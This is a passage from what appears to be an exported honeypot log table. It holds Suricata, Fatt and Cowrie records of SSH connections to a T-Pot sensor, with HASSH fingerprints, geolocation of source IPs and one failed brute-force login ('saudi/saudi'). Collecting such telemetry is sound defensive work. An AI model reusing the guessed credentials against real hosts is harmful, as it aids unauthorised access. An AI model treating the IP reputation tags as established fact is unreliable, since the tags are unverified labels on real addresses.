"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50638, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.511506", "@timestamp": "2021-09-20T11:08:43.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24493	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:40.835975+03	2021-09-20 14:15:08.8685+03	{"_id": "1AbkAnwBvYTbRNuEyxIP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 915035999712110, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53642, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.835975Z", "@timestamp": "2021-09-20T11:08:40.835Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24494	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:40.637799+03	2021-09-20 14:15:08.870506+03	{"_id": "1wbkAnwBvYTbRNuEyxL9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59312, "timestamp": "2021-09-20T11:08:40.637799", "@timestamp": "2021-09-20T11:08:40.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24495	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:43.452389+03	2021-09-20 14:15:08.8715+03	{"_id": "MgbkAnwBvYTbRNuE1xO6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57244, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.452389", "@timestamp": "2021-09-20T11:08:43.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24496	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:53.518104+03	2021-09-20 14:15:08.873502+03	{"_id": "SAbkAnwBvYTbRNuE_xR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42138 (192.168.176.2:22) [session: c6b420926887]", "session": "c6b420926887", "@version": "1", "protocol": "ssh", "src_port": 42138, "dest_port": 22, "timestamp": "2021-09-20T11:08:53.518104Z", "@timestamp": "2021-09-20T11:08:53.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24497	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:53.479497+03	2021-09-20 14:15:08.874469+03	{"_id": "RQbkAnwBvYTbRNuE_xRx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e1a1f37f01e3", "@version": "1", "duration": 3.076270341873169, "timestamp": "2021-09-20T11:08:53.479497Z", "@timestamp": "2021-09-20T11:08:53.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24499	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:54.786103+03	2021-09-20 14:15:08.877473+03	{"_id": "UgblAnwBvYTbRNuEARTK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1881098699575471, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40258, "dest_port": 22, "timestamp": "2021-09-20T11:08:54.786103Z", "@timestamp": "2021-09-20T11:08:54.786Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24500	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:54.833614+03	2021-09-20 14:15:08.878501+03	{"_id": "VAblAnwBvYTbRNuEAhS_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40258, "dest_port": 22, "timestamp": "2021-09-20T11:08:54.833614", "@timestamp": "2021-09-20T11:08:54.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24501	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.509626+03	2021-09-20 14:15:08.880506+03	{"_id": "WAblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40258 (192.168.176.2:22) [session: 037429c59f6c]", "session": "037429c59f6c", "@version": "1", "protocol": "ssh", "src_port": 40258, "dest_port": 22, "timestamp": "2021-09-20T11:08:54.509626Z", "@timestamp": "2021-09-20T11:08:54.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24502	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.657972+03	2021-09-20 14:15:08.881498+03	{"_id": "WQblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:55160 (192.168.176.2:22) [session: 3cf3d77ca70c]", "session": "3cf3d77ca70c", "@version": "1", "protocol": "ssh", "src_port": 55160, "dest_port": 22, "timestamp": "2021-09-20T11:08:54.657972Z", "@timestamp": "2021-09-20T11:08:54.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24503	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.532489+03	2021-09-20 14:15:08.8825+03	{"_id": "ZQblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "037429c59f6c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:54.532489Z", "@timestamp": "2021-09-20T11:08:54.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24504	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.775853+03	2021-09-20 14:15:08.883503+03	{"_id": "ZgblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3cf3d77ca70c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:54.775853Z", "@timestamp": "2021-09-20T11:08:54.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24505	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:54.850719+03	2021-09-20 14:15:08.885505+03	{"_id": "ZwblAnwBvYTbRNuEAxRk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [saudi/saudi] failed", "session": "c6b420926887", "@version": "1", "password": "saudi", "username": "saudi", "timestamp": "2021-09-20T11:08:54.850719Z", "@timestamp": 